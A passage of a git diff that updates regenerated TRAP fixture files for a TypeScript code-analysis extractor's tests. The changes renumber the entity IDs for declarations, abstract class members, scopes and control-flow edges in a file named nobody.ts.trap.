hasLocation(#20364,#20209) expr_containers(#20364,#20346) literals("C","C",#20364) -bind(#20364,#20222) +bind(#20364,#20224) #20365=* stmts(#20365,1,#20346,-2,"{}") #20366=@"loc,{#10000},14,22,14,23" @@ -1349,8 +1350,8 @@ successor(#20265,#20263) successor(#20263,#20281) successor(#20241,#20266) successor(#20236,#20243) -successor(#20230,#20236) -successor(#20224,#20230) -successor(#20374,#20224) +successor(#20231,#20236) +successor(#20226,#20231) +successor(#20374,#20226) numlines(#10000,15,12,0) filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/output/trap/nobody.ts.trap b/javascript/extractor/tests/ts/output/trap/nobody.ts.trap index 44a32603e09..717d79423ab 100644 --- a/javascript/extractor/tests/ts/output/trap/nobody.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/nobody.ts.trap @@ -694,506 +694,509 @@ toplevels(#20001,0) #20252=@"loc,{#10000},2,1,30,0" locations_default(#20252,#10000,2,1,30,0) hasLocation(#20001,#20252) -#20253=@"var;{C};{#20000}" -variables(#20253,"C",#20000) -#20254=@"local_type_name;{C};{#20000}" -local_type_names(#20254,"C",#20000) -#20255=* -stmts(#20255,17,#20001,0,"declare ... on f();") -hasLocation(#20255,#20020) -stmt_containers(#20255,#20001) -has_declare_keyword(#20255) -#20256=* -exprs(#20256,78,#20255,-1,"f") -hasLocation(#20256,#20079) -expr_containers(#20256,#20255) -literals("f","f",#20256) -#20257=@"var;{f};{#20000}" -variables(#20257,"f",#20000) -decl(#20256,#20257) +#20253=@"var;{f};{#20000}" +variables(#20253,"f",#20000) +#20254=@"var;{C};{#20000}" +variables(#20254,"C",#20000) +#20255=@"var;{D};{#20000}" +variables(#20255,"D",#20000) +#20256=@"local_type_name;{C};{#20000}" +local_type_names(#20256,"C",#20000) +#20257=@"local_type_name;{D};{#20000}" +local_type_names(#20257,"D",#20000) #20258=* -scopes(#20258,1) -scopenodes(#20255,#20258) -scopenesting(#20258,#20000) -#20259=@"var;{arguments};{#20258}" -variables(#20259,"arguments",#20258) -is_arguments_object(#20259) +stmts(#20258,17,#20001,0,"declare ... on f();") +hasLocation(#20258,#20020) +stmt_containers(#20258,#20001) +has_declare_keyword(#20258) +#20259=* +exprs(#20259,78,#20258,-1,"f") +hasLocation(#20259,#20079) +expr_containers(#20259,#20258) +literals("f","f",#20259) +decl(#20259,#20253) #20260=* -stmts(#20260,26,#20001,1,"abstrac ... mber;\n}") -#20261=@"loc,{#10000},4,1,15,1" -locations_default(#20261,#10000,4,1,15,1) -hasLocation(#20260,#20261) -stmt_containers(#20260,#20001) -is_abstract_class(#20260) +scopes(#20260,1) +scopenodes(#20258,#20260) +scopenesting(#20260,#20000) +#20261=@"var;{arguments};{#20260}" +variables(#20261,"arguments",#20260) +is_arguments_object(#20261) #20262=* -exprs(#20262,78,#20260,0,"C") -hasLocation(#20262,#20091) -enclosing_stmt(#20262,#20260) -expr_containers(#20262,#20001) -literals("C","C",#20262) -decl(#20262,#20253) -typedecl(#20262,#20254) -#20263=* -scopes(#20263,10) -scopenodes(#20260,#20263) -scopenesting(#20263,#20000) +stmts(#20262,26,#20001,1,"abstrac ... mber;\n}") +#20263=@"loc,{#10000},4,1,15,1" +locations_default(#20263,#10000,4,1,15,1) +hasLocation(#20262,#20263) +stmt_containers(#20262,#20001) +is_abstract_class(#20262) #20264=* -properties(#20264,#20260,2,0,"abstract h();") -#20265=@"loc,{#10000},6,3,6,15" -locations_default(#20265,#10000,6,3,6,15) -hasLocation(#20264,#20265) +exprs(#20264,78,#20262,0,"C") +hasLocation(#20264,#20091) +enclosing_stmt(#20264,#20262) +expr_containers(#20264,#20001) +literals("C","C",#20264) +decl(#20264,#20254) +typedecl(#20264,#20256) +#20265=* +scopes(#20265,10) +scopenodes(#20262,#20265) +scopenesting(#20265,#20000) #20266=* -exprs(#20266,0,#20264,0,"h") -hasLocation(#20266,#20097) -enclosing_stmt(#20266,#20260) -expr_containers(#20266,#20001) -literals("h","h",#20266) -#20267=* -exprs(#20267,9,#20264,1,"abstract h();") -hasLocation(#20267,#20265) -enclosing_stmt(#20267,#20260) -expr_containers(#20267,#20001) +properties(#20266,#20262,2,0,"abstract h();") +#20267=@"loc,{#10000},6,3,6,15" +locations_default(#20267,#10000,6,3,6,15) +hasLocation(#20266,#20267) #20268=* -scopes(#20268,1) -scopenodes(#20267,#20268) -scopenesting(#20268,#20263) -#20269=@"var;{arguments};{#20268}" -variables(#20269,"arguments",#20268) -is_arguments_object(#20269) -is_method(#20264) -is_abstract_member(#20264) +exprs(#20268,0,#20266,0,"h") +hasLocation(#20268,#20097) +enclosing_stmt(#20268,#20262) +expr_containers(#20268,#20001) +literals("h","h",#20268) +#20269=* +exprs(#20269,9,#20266,1,"abstract h();") +hasLocation(#20269,#20267) +enclosing_stmt(#20269,#20262) +expr_containers(#20269,#20001) #20270=* -properties(#20270,#20260,3,0,"g(x: nu ... number;") -#20271=@"loc,{#10000},9,3,9,23" -locations_default(#20271,#10000,9,3,9,23) -hasLocation(#20270,#20271) +scopes(#20270,1) +scopenodes(#20269,#20270) +scopenesting(#20270,#20265) +#20271=@"var;{arguments};{#20270}" +variables(#20271,"arguments",#20270) +is_arguments_object(#20271) +is_method(#20266) +is_abstract_member(#20266) #20272=* -exprs(#20272,0,#20270,0,"g") -hasLocation(#20272,#20105) -enclosing_stmt(#20272,#20260) -expr_containers(#20272,#20001) -literals("g","g",#20272) -#20273=* -exprs(#20273,9,#20270,1,"g(x: nu ... number;") -hasLocation(#20273,#20271) -enclosing_stmt(#20273,#20260) -expr_containers(#20273,#20001) +properties(#20272,#20262,3,0,"g(x: nu ... number;") +#20273=@"loc,{#10000},9,3,9,23" +locations_default(#20273,#10000,9,3,9,23) +hasLocation(#20272,#20273) #20274=* -scopes(#20274,1) -scopenodes(#20273,#20274) -scopenesting(#20274,#20263) -#20275=@"var;{x};{#20274}" -variables(#20275,"x",#20274) +exprs(#20274,0,#20272,0,"g") +hasLocation(#20274,#20105) +enclosing_stmt(#20274,#20262) +expr_containers(#20274,#20001) +literals("g","g",#20274) +#20275=* +exprs(#20275,9,#20272,1,"g(x: nu ... number;") +hasLocation(#20275,#20273) +enclosing_stmt(#20275,#20262) +expr_containers(#20275,#20001) #20276=* -exprs(#20276,78,#20273,0,"x") -hasLocation(#20276,#20109) -expr_containers(#20276,#20273) -literals("x","x",#20276) -decl(#20276,#20275) -#20277=@"var;{arguments};{#20274}" -variables(#20277,"arguments",#20274) -is_arguments_object(#20277) +scopes(#20276,1) +scopenodes(#20275,#20276) +scopenesting(#20276,#20265) +#20277=@"var;{x};{#20276}" +variables(#20277,"x",#20276) #20278=* -typeexprs(#20278,2,#20273,-3,"number") -hasLocation(#20278,#20119) -expr_containers(#20278,#20273) -literals("number","number",#20278) -#20279=* -typeexprs(#20279,2,#20273,-6,"number") -hasLocation(#20279,#20113) -expr_containers(#20279,#20273) -literals("number","number",#20279) -is_method(#20270) +exprs(#20278,78,#20275,0,"x") +hasLocation(#20278,#20109) +expr_containers(#20278,#20275) +literals("x","x",#20278) +decl(#20278,#20277) +#20279=@"var;{arguments};{#20276}" +variables(#20279,"arguments",#20276) +is_arguments_object(#20279) #20280=* -properties(#20280,#20260,4,0,"g(x: st ... string;") -#20281=@"loc,{#10000},10,3,10,23" -locations_default(#20281,#10000,10,3,10,23) -hasLocation(#20280,#20281) +typeexprs(#20280,2,#20275,-3,"number") +hasLocation(#20280,#20119) +expr_containers(#20280,#20275) +literals("number","number",#20280) +#20281=* +typeexprs(#20281,2,#20275,-6,"number") +hasLocation(#20281,#20113) +expr_containers(#20281,#20275) +literals("number","number",#20281) +is_method(#20272) #20282=* -exprs(#20282,0,#20280,0,"g") -hasLocation(#20282,#20123) -enclosing_stmt(#20282,#20260) -expr_containers(#20282,#20001) -literals("g","g",#20282) -#20283=* -exprs(#20283,9,#20280,1,"g(x: st ... string;") -hasLocation(#20283,#20281) -enclosing_stmt(#20283,#20260) -expr_containers(#20283,#20001) +properties(#20282,#20262,4,0,"g(x: st ... string;") +#20283=@"loc,{#10000},10,3,10,23" +locations_default(#20283,#10000,10,3,10,23) +hasLocation(#20282,#20283) #20284=* -scopes(#20284,1) -scopenodes(#20283,#20284) -scopenesting(#20284,#20263) -#20285=@"var;{x};{#20284}" -variables(#20285,"x",#20284) +exprs(#20284,0,#20282,0,"g") +hasLocation(#20284,#20123) +enclosing_stmt(#20284,#20262) +expr_containers(#20284,#20001) +literals("g","g",#20284) +#20285=* +exprs(#20285,9,#20282,1,"g(x: st ... string;") +hasLocation(#20285,#20283) +enclosing_stmt(#20285,#20262) +expr_containers(#20285,#20001) #20286=* -exprs(#20286,78,#20283,0,"x") -hasLocation(#20286,#20127) -expr_containers(#20286,#20283) -literals("x","x",#20286) -decl(#20286,#20285) -#20287=@"var;{arguments};{#20284}" -variables(#20287,"arguments",#20284) -is_arguments_object(#20287) +scopes(#20286,1) +scopenodes(#20285,#20286) +scopenesting(#20286,#20265) +#20287=@"var;{x};{#20286}" +variables(#20287,"x",#20286) #20288=* -typeexprs(#20288,2,#20283,-3,"string") -hasLocation(#20288,#20137) -expr_containers(#20288,#20283) -literals("string","string",#20288) -#20289=* -typeexprs(#20289,2,#20283,-6,"string") -hasLocation(#20289,#20131) -expr_containers(#20289,#20283) -literals("string","string",#20289) -is_method(#20280) +exprs(#20288,78,#20285,0,"x") +hasLocation(#20288,#20127) +expr_containers(#20288,#20285) +literals("x","x",#20288) +decl(#20288,#20287) +#20289=@"var;{arguments};{#20286}" +variables(#20289,"arguments",#20286) +is_arguments_object(#20289) #20290=* -properties(#20290,#20260,5,0,"g(x: any) {}") -#20291=@"loc,{#10000},11,3,11,14" -locations_default(#20291,#10000,11,3,11,14) -hasLocation(#20290,#20291) +typeexprs(#20290,2,#20285,-3,"string") +hasLocation(#20290,#20137) +expr_containers(#20290,#20285) +literals("string","string",#20290) +#20291=* +typeexprs(#20291,2,#20285,-6,"string") +hasLocation(#20291,#20131) +expr_containers(#20291,#20285) +literals("string","string",#20291) +is_method(#20282) #20292=* -exprs(#20292,0,#20290,0,"g") -hasLocation(#20292,#20141) -enclosing_stmt(#20292,#20260) -expr_containers(#20292,#20001) -literals("g","g",#20292) -#20293=* -exprs(#20293,9,#20290,1,"g(x: any) {}") -hasLocation(#20293,#20291) -enclosing_stmt(#20293,#20260) -expr_containers(#20293,#20001) +properties(#20292,#20262,5,0,"g(x: any) {}") +#20293=@"loc,{#10000},11,3,11,14" +locations_default(#20293,#10000,11,3,11,14) +hasLocation(#20292,#20293) #20294=* -scopes(#20294,1) -scopenodes(#20293,#20294) -scopenesting(#20294,#20263) -#20295=@"var;{x};{#20294}" -variables(#20295,"x",#20294) +exprs(#20294,0,#20292,0,"g") +hasLocation(#20294,#20141) +enclosing_stmt(#20294,#20262) +expr_containers(#20294,#20001) +literals("g","g",#20294) +#20295=* +exprs(#20295,9,#20292,1,"g(x: any) {}") +hasLocation(#20295,#20293) +enclosing_stmt(#20295,#20262) +expr_containers(#20295,#20001) #20296=* -exprs(#20296,78,#20293,0,"x") -hasLocation(#20296,#20145) -expr_containers(#20296,#20293) -literals("x","x",#20296) -decl(#20296,#20295) -#20297=@"var;{arguments};{#20294}" -variables(#20297,"arguments",#20294) -is_arguments_object(#20297) +scopes(#20296,1) +scopenodes(#20295,#20296) +scopenesting(#20296,#20265) +#20297=@"var;{x};{#20296}" +variables(#20297,"x",#20296) #20298=* -typeexprs(#20298,2,#20293,-6,"any") -hasLocation(#20298,#20149) -expr_containers(#20298,#20293) -literals("any","any",#20298) -#20299=* -stmts(#20299,1,#20293,-2,"{}") -#20300=@"loc,{#10000},11,13,11,14" -locations_default(#20300,#10000,11,13,11,14) -hasLocation(#20299,#20300) -stmt_containers(#20299,#20293) -is_method(#20290) +exprs(#20298,78,#20295,0,"x") +hasLocation(#20298,#20145) +expr_containers(#20298,#20295) +literals("x","x",#20298) +decl(#20298,#20297) +#20299=@"var;{arguments};{#20296}" +variables(#20299,"arguments",#20296) +is_arguments_object(#20299) +#20300=* +typeexprs(#20300,2,#20295,-6,"any") +hasLocation(#20300,#20149) +expr_containers(#20300,#20295) +literals("any","any",#20300) #20301=* -properties(#20301,#20260,6,8,"abstract x: number;") -#20302=@"loc,{#10000},14,3,14,21" -locations_default(#20302,#10000,14,3,14,21) +stmts(#20301,1,#20295,-2,"{}") +#20302=@"loc,{#10000},11,13,11,14" +locations_default(#20302,#10000,11,13,11,14) hasLocation(#20301,#20302) +stmt_containers(#20301,#20295) +is_method(#20292) #20303=* -#20304=* -exprs(#20304,0,#20301,0,"x") -hasLocation(#20304,#20159) -expr_containers(#20304,#20303) -literals("x","x",#20304) -is_abstract_member(#20301) +properties(#20303,#20262,6,8,"abstract x: number;") +#20304=@"loc,{#10000},14,3,14,21" +locations_default(#20304,#10000,14,3,14,21) +hasLocation(#20303,#20304) #20305=* -typeexprs(#20305,2,#20301,2,"number") -hasLocation(#20305,#20163) -enclosing_stmt(#20305,#20260) -expr_containers(#20305,#20001) -literals("number","number",#20305) #20306=* -properties(#20306,#20260,7,0,"constructor() {}") -#20307=@"loc,{#10000},4,18,4,17" -locations_default(#20307,#10000,4,18,4,17) -hasLocation(#20306,#20307) +exprs(#20306,0,#20303,0,"x") +hasLocation(#20306,#20159) +expr_containers(#20306,#20305) +literals("x","x",#20306) +is_abstract_member(#20303) +#20307=* +typeexprs(#20307,2,#20303,2,"number") +hasLocation(#20307,#20163) +enclosing_stmt(#20307,#20262) +expr_containers(#20307,#20001) +literals("number","number",#20307) #20308=* -exprs(#20308,0,#20306,0,"constructor") -hasLocation(#20308,#20307) -enclosing_stmt(#20308,#20260) -expr_containers(#20308,#20001) -literals("constructor","constructor",#20308) -exprs(#20303,9,#20306,1,"() {}") -hasLocation(#20303,#20307) -enclosing_stmt(#20303,#20260) -expr_containers(#20303,#20001) -#20309=* -scopes(#20309,1) -scopenodes(#20303,#20309) -scopenesting(#20309,#20263) -#20310=@"var;{arguments};{#20309}" -variables(#20310,"arguments",#20309) -is_arguments_object(#20310) +properties(#20308,#20262,7,0,"constructor() {}") +#20309=@"loc,{#10000},4,18,4,17" +locations_default(#20309,#10000,4,18,4,17) +hasLocation(#20308,#20309) +#20310=* +exprs(#20310,0,#20308,0,"constructor") +hasLocation(#20310,#20309) +enclosing_stmt(#20310,#20262) +expr_containers(#20310,#20001) +literals("constructor","constructor",#20310) +exprs(#20305,9,#20308,1,"() {}") +hasLocation(#20305,#20309) +enclosing_stmt(#20305,#20262) +expr_containers(#20305,#20001) #20311=* -stmts(#20311,1,#20303,-2,"{}") -hasLocation(#20311,#20307) -stmt_containers(#20311,#20303) -is_method(#20306) -#20312=* -stmts(#20312,26,#20001,2,"declare ... mber;\n}") -#20313=@"loc,{#10000},18,1,29,1" -locations_default(#20313,#10000,18,1,29,1) -hasLocation(#20312,#20313) -stmt_containers(#20312,#20001) -has_declare_keyword(#20312) -is_abstract_class(#20312) +scopes(#20311,1) +scopenodes(#20305,#20311) +scopenesting(#20311,#20265) +#20312=@"var;{arguments};{#20311}" +variables(#20312,"arguments",#20311) +is_arguments_object(#20312) +#20313=* +stmts(#20313,1,#20305,-2,"{}") +hasLocation(#20313,#20309) +stmt_containers(#20313,#20305) +is_method(#20308) #20314=* -exprs(#20314,78,#20312,0,"D") -hasLocation(#20314,#20174) -enclosing_stmt(#20314,#20312) -expr_containers(#20314,#20001) -literals("D","D",#20314) -#20315=@"var;{D};{#20000}" -variables(#20315,"D",#20000) -decl(#20314,#20315) +stmts(#20314,26,#20001,2,"declare ... mber;\n}") +#20315=@"loc,{#10000},18,1,29,1" +locations_default(#20315,#10000,18,1,29,1) +hasLocation(#20314,#20315) +stmt_containers(#20314,#20001) +has_declare_keyword(#20314) +is_abstract_class(#20314) #20316=* -scopes(#20316,10) -scopenodes(#20312,#20316) -scopenesting(#20316,#20000) +exprs(#20316,78,#20314,0,"D") +hasLocation(#20316,#20174) +enclosing_stmt(#20316,#20314) +expr_containers(#20316,#20001) +literals("D","D",#20316) +decl(#20316,#20255) +typedecl(#20316,#20257) #20317=* -properties(#20317,#20312,2,0,"abstract h();") -#20318=@"loc,{#10000},20,3,20,15" -locations_default(#20318,#10000,20,3,20,15) -hasLocation(#20317,#20318) -#20319=* -exprs(#20319,0,#20317,0,"h") -hasLocation(#20319,#20180) -enclosing_stmt(#20319,#20312) -expr_containers(#20319,#20001) -literals("h","h",#20319) +scopes(#20317,10) +scopenodes(#20314,#20317) +scopenesting(#20317,#20000) +#20318=* +properties(#20318,#20314,2,0,"abstract h();") +#20319=@"loc,{#10000},20,3,20,15" +locations_default(#20319,#10000,20,3,20,15) +hasLocation(#20318,#20319) #20320=* -exprs(#20320,9,#20317,1,"abstract h();") -hasLocation(#20320,#20318) -enclosing_stmt(#20320,#20312) +exprs(#20320,0,#20318,0,"h") +hasLocation(#20320,#20180) +enclosing_stmt(#20320,#20314) expr_containers(#20320,#20001) +literals("h","h",#20320) #20321=* -scopes(#20321,1) -scopenodes(#20320,#20321) -scopenesting(#20321,#20316) -#20322=@"var;{arguments};{#20321}" -variables(#20322,"arguments",#20321) -is_arguments_object(#20322) -is_method(#20317) -is_abstract_member(#20317) -#20323=* -properties(#20323,#20312,3,0,"g(x: nu ... number;") -#20324=@"loc,{#10000},23,3,23,23" -locations_default(#20324,#10000,23,3,23,23) -hasLocation(#20323,#20324) -#20325=* -exprs(#20325,0,#20323,0,"g") -hasLocation(#20325,#20188) -enclosing_stmt(#20325,#20312) -expr_containers(#20325,#20001) -literals("g","g",#20325) +exprs(#20321,9,#20318,1,"abstract h();") +hasLocation(#20321,#20319) +enclosing_stmt(#20321,#20314) +expr_containers(#20321,#20001) +#20322=* +scopes(#20322,1) +scopenodes(#20321,#20322) +scopenesting(#20322,#20317) +#20323=@"var;{arguments};{#20322}" +variables(#20323,"arguments",#20322) +is_arguments_object(#20323) +is_method(#20318) +is_abstract_member(#20318) +#20324=* +properties(#20324,#20314,3,0,"g(x: nu ... number;") +#20325=@"loc,{#10000},23,3,23,23" +locations_default(#20325,#10000,23,3,23,23) +hasLocation(#20324,#20325) #20326=* -exprs(#20326,9,#20323,1,"g(x: nu ... number;") -hasLocation(#20326,#20324) -enclosing_stmt(#20326,#20312) +exprs(#20326,0,#20324,0,"g") +hasLocation(#20326,#20188) +enclosing_stmt(#20326,#20314) expr_containers(#20326,#20001) +literals("g","g",#20326) #20327=* -scopes(#20327,1) -scopenodes(#20326,#20327) -scopenesting(#20327,#20316) -#20328=@"var;{x};{#20327}" -variables(#20328,"x",#20327) -#20329=* -exprs(#20329,78,#20326,0,"x") -hasLocation(#20329,#20192) -expr_containers(#20329,#20326) -literals("x","x",#20329) -decl(#20329,#20328) -#20330=@"var;{arguments};{#20327}" -variables(#20330,"arguments",#20327) -is_arguments_object(#20330) -#20331=* -typeexprs(#20331,2,#20326,-3,"number") -hasLocation(#20331,#20202) -expr_containers(#20331,#20326) -literals("number","number",#20331) +exprs(#20327,9,#20324,1,"g(x: nu ... number;") +hasLocation(#20327,#20325) +enclosing_stmt(#20327,#20314) +expr_containers(#20327,#20001) +#20328=* +scopes(#20328,1) +scopenodes(#20327,#20328) +scopenesting(#20328,#20317) +#20329=@"var;{x};{#20328}" +variables(#20329,"x",#20328) +#20330=* +exprs(#20330,78,#20327,0,"x") +hasLocation(#20330,#20192) +expr_containers(#20330,#20327) +literals("x","x",#20330) +decl(#20330,#20329) +#20331=@"var;{arguments};{#20328}" +variables(#20331,"arguments",#20328) +is_arguments_object(#20331) #20332=* -typeexprs(#20332,2,#20326,-6,"number") -hasLocation(#20332,#20196) -expr_containers(#20332,#20326) +typeexprs(#20332,2,#20327,-3,"number") +hasLocation(#20332,#20202) +expr_containers(#20332,#20327) literals("number","number",#20332) -is_method(#20323) #20333=* -properties(#20333,#20312,4,0,"g(x: st ... string;") -#20334=@"loc,{#10000},24,3,24,23" -locations_default(#20334,#10000,24,3,24,23) -hasLocation(#20333,#20334) -#20335=* -exprs(#20335,0,#20333,0,"g") -hasLocation(#20335,#20206) -enclosing_stmt(#20335,#20312) -expr_containers(#20335,#20001) -literals("g","g",#20335) +typeexprs(#20333,2,#20327,-6,"number") +hasLocation(#20333,#20196) +expr_containers(#20333,#20327) +literals("number","number",#20333) +is_method(#20324) +#20334=* +properties(#20334,#20314,4,0,"g(x: st ... string;") +#20335=@"loc,{#10000},24,3,24,23" +locations_default(#20335,#10000,24,3,24,23) +hasLocation(#20334,#20335) #20336=* -exprs(#20336,9,#20333,1,"g(x: st ... string;") -hasLocation(#20336,#20334) -enclosing_stmt(#20336,#20312) +exprs(#20336,0,#20334,0,"g") +hasLocation(#20336,#20206) +enclosing_stmt(#20336,#20314) expr_containers(#20336,#20001) +literals("g","g",#20336) #20337=* -scopes(#20337,1) -scopenodes(#20336,#20337) -scopenesting(#20337,#20316) -#20338=@"var;{x};{#20337}" -variables(#20338,"x",#20337) -#20339=* -exprs(#20339,78,#20336,0,"x") -hasLocation(#20339,#20210) -expr_containers(#20339,#20336) -literals("x","x",#20339) -decl(#20339,#20338) -#20340=@"var;{arguments};{#20337}" -variables(#20340,"arguments",#20337) -is_arguments_object(#20340) -#20341=* -typeexprs(#20341,2,#20336,-3,"string") -hasLocation(#20341,#20220) -expr_containers(#20341,#20336) -literals("string","string",#20341) +exprs(#20337,9,#20334,1,"g(x: st ... string;") +hasLocation(#20337,#20335) +enclosing_stmt(#20337,#20314) +expr_containers(#20337,#20001) +#20338=* +scopes(#20338,1) +scopenodes(#20337,#20338) +scopenesting(#20338,#20317) +#20339=@"var;{x};{#20338}" +variables(#20339,"x",#20338) +#20340=* +exprs(#20340,78,#20337,0,"x") +hasLocation(#20340,#20210) +expr_containers(#20340,#20337) +literals("x","x",#20340) +decl(#20340,#20339) +#20341=@"var;{arguments};{#20338}" +variables(#20341,"arguments",#20338) +is_arguments_object(#20341) #20342=* -typeexprs(#20342,2,#20336,-6,"string") -hasLocation(#20342,#20214) -expr_containers(#20342,#20336) +typeexprs(#20342,2,#20337,-3,"string") +hasLocation(#20342,#20220) +expr_containers(#20342,#20337) literals("string","string",#20342) -is_method(#20333) #20343=* -properties(#20343,#20312,5,0,"g(x: any) {}") -#20344=@"loc,{#10000},25,3,25,14" -locations_default(#20344,#10000,25,3,25,14) -hasLocation(#20343,#20344) -#20345=* -exprs(#20345,0,#20343,0,"g") -hasLocation(#20345,#20224) -enclosing_stmt(#20345,#20312) -expr_containers(#20345,#20001) -literals("g","g",#20345) +typeexprs(#20343,2,#20337,-6,"string") +hasLocation(#20343,#20214) +expr_containers(#20343,#20337) +literals("string","string",#20343) +is_method(#20334) +#20344=* +properties(#20344,#20314,5,0,"g(x: any) {}") +#20345=@"loc,{#10000},25,3,25,14" +locations_default(#20345,#10000,25,3,25,14) +hasLocation(#20344,#20345) #20346=* -exprs(#20346,9,#20343,1,"g(x: any) {}") -hasLocation(#20346,#20344) -enclosing_stmt(#20346,#20312) +exprs(#20346,0,#20344,0,"g") +hasLocation(#20346,#20224) +enclosing_stmt(#20346,#20314) expr_containers(#20346,#20001) +literals("g","g",#20346) #20347=* -scopes(#20347,1) -scopenodes(#20346,#20347) -scopenesting(#20347,#20316) -#20348=@"var;{x};{#20347}" -variables(#20348,"x",#20347) -#20349=* -exprs(#20349,78,#20346,0,"x") -hasLocation(#20349,#20228) -expr_containers(#20349,#20346) -literals("x","x",#20349) -decl(#20349,#20348) -#20350=@"var;{arguments};{#20347}" -variables(#20350,"arguments",#20347) -is_arguments_object(#20350) -#20351=* -typeexprs(#20351,2,#20346,-6,"any") -hasLocation(#20351,#20232) -expr_containers(#20351,#20346) -literals("any","any",#20351) +exprs(#20347,9,#20344,1,"g(x: any) {}") +hasLocation(#20347,#20345) +enclosing_stmt(#20347,#20314) +expr_containers(#20347,#20001) +#20348=* +scopes(#20348,1) +scopenodes(#20347,#20348) +scopenesting(#20348,#20317) +#20349=@"var;{x};{#20348}" +variables(#20349,"x",#20348) +#20350=* +exprs(#20350,78,#20347,0,"x") +hasLocation(#20350,#20228) +expr_containers(#20350,#20347) +literals("x","x",#20350) +decl(#20350,#20349) +#20351=@"var;{arguments};{#20348}" +variables(#20351,"arguments",#20348) +is_arguments_object(#20351) #20352=* -stmts(#20352,1,#20346,-2,"{}") -#20353=@"loc,{#10000},25,13,25,14" -locations_default(#20353,#10000,25,13,25,14) -hasLocation(#20352,#20353) -stmt_containers(#20352,#20346) -is_method(#20343) -#20354=* -properties(#20354,#20312,6,8,"abstract x: number;") -#20355=@"loc,{#10000},28,3,28,21" -locations_default(#20355,#10000,28,3,28,21) -hasLocation(#20354,#20355) -#20356=* +typeexprs(#20352,2,#20347,-6,"any") +hasLocation(#20352,#20232) +expr_containers(#20352,#20347) +literals("any","any",#20352) +#20353=* +stmts(#20353,1,#20347,-2,"{}") +#20354=@"loc,{#10000},25,13,25,14" +locations_default(#20354,#10000,25,13,25,14) +hasLocation(#20353,#20354) +stmt_containers(#20353,#20347) +is_method(#20344) +#20355=* +properties(#20355,#20314,6,8,"abstract x: number;") +#20356=@"loc,{#10000},28,3,28,21" +locations_default(#20356,#10000,28,3,28,21) +hasLocation(#20355,#20356) #20357=* -exprs(#20357,0,#20354,0,"x") -hasLocation(#20357,#20242) -expr_containers(#20357,#20356) -literals("x","x",#20357) -is_abstract_member(#20354) #20358=* -typeexprs(#20358,2,#20354,2,"number") -hasLocation(#20358,#20246) -enclosing_stmt(#20358,#20312) -expr_containers(#20358,#20001) -literals("number","number",#20358) +exprs(#20358,0,#20355,0,"x") +hasLocation(#20358,#20242) +expr_containers(#20358,#20357) +literals("x","x",#20358) +is_abstract_member(#20355) #20359=* -properties(#20359,#20312,7,0,"constructor() {}") -#20360=@"loc,{#10000},18,26,18,25" -locations_default(#20360,#10000,18,26,18,25) -hasLocation(#20359,#20360) -#20361=* -exprs(#20361,0,#20359,0,"constructor") -hasLocation(#20361,#20360) -enclosing_stmt(#20361,#20312) -expr_containers(#20361,#20001) -literals("constructor","constructor",#20361) -exprs(#20356,9,#20359,1,"() {}") -hasLocation(#20356,#20360) -enclosing_stmt(#20356,#20312) -expr_containers(#20356,#20001) +typeexprs(#20359,2,#20355,2,"number") +hasLocation(#20359,#20246) +enclosing_stmt(#20359,#20314) +expr_containers(#20359,#20001) +literals("number","number",#20359) +#20360=* +properties(#20360,#20314,7,0,"constructor() {}") +#20361=@"loc,{#10000},18,26,18,25" +locations_default(#20361,#10000,18,26,18,25) +hasLocation(#20360,#20361) #20362=* -scopes(#20362,1) -scopenodes(#20356,#20362) -scopenesting(#20362,#20316) -#20363=@"var;{arguments};{#20362}" -variables(#20363,"arguments",#20362) -is_arguments_object(#20363) -#20364=* -stmts(#20364,1,#20356,-2,"{}") -hasLocation(#20364,#20360) -stmt_containers(#20364,#20356) -is_method(#20359) +exprs(#20362,0,#20360,0,"constructor") +hasLocation(#20362,#20361) +enclosing_stmt(#20362,#20314) +expr_containers(#20362,#20001) +literals("constructor","constructor",#20362) +exprs(#20357,9,#20360,1,"() {}") +hasLocation(#20357,#20361) +enclosing_stmt(#20357,#20314) +expr_containers(#20357,#20001) +#20363=* +scopes(#20363,1) +scopenodes(#20357,#20363) +scopenesting(#20363,#20317) +#20364=@"var;{arguments};{#20363}" +variables(#20364,"arguments",#20363) +is_arguments_object(#20364) #20365=* -entry_cfg_node(#20365,#20001) -#20366=@"loc,{#10000},2,1,2,0" -locations_default(#20366,#10000,2,1,2,0) -hasLocation(#20365,#20366) -#20367=* -exit_cfg_node(#20367,#20001) -hasLocation(#20367,#20251) -successor(#20312,#20367) -successor(#20303,#20306) +stmts(#20365,1,#20357,-2,"{}") +hasLocation(#20365,#20361) +stmt_containers(#20365,#20357) +is_method(#20360) +#20366=* +entry_cfg_node(#20366,#20001) +#20367=@"loc,{#10000},2,1,2,0" +locations_default(#20367,#10000,2,1,2,0) +hasLocation(#20366,#20367) #20368=* -entry_cfg_node(#20368,#20303) -hasLocation(#20368,#20307) +exit_cfg_node(#20368,#20001) +hasLocation(#20368,#20251) +successor(#20314,#20368) +successor(#20305,#20308) #20369=* -exit_cfg_node(#20369,#20303) -hasLocation(#20369,#20307) -successor(#20311,#20369) -successor(#20368,#20311) -successor(#20308,#20303) -successor(#20306,#20260) -successor(#20293,#20290) +entry_cfg_node(#20369,#20305) +hasLocation(#20369,#20309) #20370=* -entry_cfg_node(#20370,#20293) -#20371=@"loc,{#10000},11,3,11,2" -locations_default(#20371,#10000,11,3,11,2) -hasLocation(#20370,#20371) -#20372=* -exit_cfg_node(#20372,#20293) -#20373=@"loc,{#10000},11,15,11,14" -locations_default(#20373,#10000,11,15,11,14) -hasLocation(#20372,#20373) -successor(#20299,#20372) -successor(#20296,#20299) -successor(#20370,#20296) -successor(#20292,#20293) -successor(#20290,#20308) -successor(#20280,#20292) -successor(#20270,#20280) -successor(#20264,#20270) -successor(#20262,#20264) -successor(#20260,#20312) -successor(#20255,#20262) -successor(#20365,#20255) +exit_cfg_node(#20370,#20305) +hasLocation(#20370,#20309) +successor(#20313,#20370) +successor(#20369,#20313) +successor(#20310,#20305) +successor(#20308,#20262) +successor(#20295,#20292) +#20371=* +entry_cfg_node(#20371,#20295) +#20372=@"loc,{#10000},11,3,11,2" +locations_default(#20372,#10000,11,3,11,2) +hasLocation(#20371,#20372) +#20373=* +exit_cfg_node(#20373,#20295) +#20374=@"loc,{#10000},11,15,11,14" +locations_default(#20374,#10000,11,15,11,14) +hasLocation(#20373,#20374) +successor(#20301,#20373) +successor(#20298,#20301) +successor(#20371,#20298) +successor(#20294,#20295) +successor(#20292,#20310) +successor(#20282,#20294) +successor(#20272,#20282) +successor(#20266,#20272) +successor(#20264,#20266) 